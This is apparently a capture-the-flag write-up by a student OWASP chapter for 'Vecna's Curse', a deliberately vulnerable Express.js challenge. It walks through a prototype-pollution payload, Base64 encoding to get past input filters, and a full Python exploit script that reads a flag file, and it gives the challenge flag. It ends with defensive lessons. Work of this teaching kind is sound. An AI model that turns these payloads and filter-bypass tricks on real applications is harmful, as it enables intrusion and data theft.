CyberKavach QuestCon Series: Vecna's Curse
Vecna's Curse
Welcome back to the official write-up series for CyberKavach QuestCon! The PCCOE OWASP Student Chapter is here with a breakdown of "Vecna's Curse," a web security challenge combining prototype pollution, gadget chains, and remote code execution inspired by the Stranger Things universe.
Author: Neev
Challenge Details
Category: OSINT / Web Exploitation
Difficulty: Medium
Flag Format: questCON{...}
Overview
The challenge demonstrates how a Prototype Pollution vulnerability in a custom Express.js application can be weaponized to achieve Remote Code Execution (RCE) through an insecure template engine and an intentional gadget chain. Participants must discover and exploit several architectural weaknesses to reveal the hidden flag.
Application Architecture
Framework: Express.js with EJS templating.
Components:
Character creation system themed around the Hellfire Club.
Custom template engine (utils/template-engine.js).
Vulnerable merge utility (utils/merger.js).
Admin report generator (admin/generate-report).
Attack Chain Breakdown
Step 1: Identify the Attack Vector
Hints in the character creation form point to the vulnerable admin endpoint:
/admin/generate-report?token=vecnalives
Step 2: Craft the Prototype Pollution Payload
Participants craft a payload that pollutes Object.prototype with a malicious function. The payload is hidden inside the character data, e.g. (in JavaScript object representation):
{
"constructor": {
"prototype": {
"vecnaHook": "function() { return require('fs').readFileSync('/tmp/flag.txt', 'utf8'); }"
}
}
}
Step 3: Encode the Payload
To bypass WAF and input filters, encode the payload using Base64 or hexadecimal. Example (Base64 encoding):
import base64, json
payload = {...} # as above
encoded_payload = base64.b64encode(json.dumps(payload).encode()).decode()
Step 4: Execute the Attack
Submit the character creation form (POST request) with the polluted payload.
Trigger the admin report by visiting the admin endpoint:
/admin/generate-report?token=vecnalives
The vulnerable merge function causes all admin options to inherit from the polluted prototype, executing vecnaHook and triggering RCE.
Complete Exploit Script
A typical exploitation sequence is as follows:
import requests, base64, json
baseurl = "http://localhost:3000"
payload = {"constructor": {"prototype": {"vecnaHook": "function() { return require('fs').readFileSync('/tmp/flag.txt', 'utf8'); }"}}}
encodedpayload = base64.b64encode(json.dumps(payload).encode()).decode()
# Step 1: Create character
characterdata = {"name": "Vecna", "class": "Lich", "level": 20, "encodedPayload": encodedpayload}
resp = requests.post(f'{baseurl}/create-character', data=characterdata)
# Step 2: Trigger admin gadget chain
resp = requests.get(f'{baseurl}/admin/generate-report?token=vecnalives')
print(resp.text)
Alternative Payload Delivery Methods
Direct JSON field in the web interface.
URL-encoded JSON as urlPayload.
Multiple encoding layers to maximize bypass probability.
Why the Exploit Works
Prototype Pollution: The vulnerable merge function allows prototype tampering.
Gadget Chain: The template engine evaluates vecnaHook, letting attacker code run.
RCE Execution: eval/string-to-function conversion enables arbitrary file reads.
Privilege Escalation: Template code can access Node.js APIs via polluted functions.
Security Lessons
Never allow unsanitized merges into object prototypes in Node/Express apps.
Avoid using eval or evaluating any user-supplied input directly.
Always validate deserialized objects and user inputs.
Multiple encoding and transmission vectors increase attack surface and bypass likelihood.
The Flag
Subsequent report output will contain the flag:
questCON{vecnaprototypepollutiontorcegadgetchainmastery}
Congratulations to all solvers who saw through Vecna's deception and turned his curse into a learning opportunity!
Comments
Post a Comment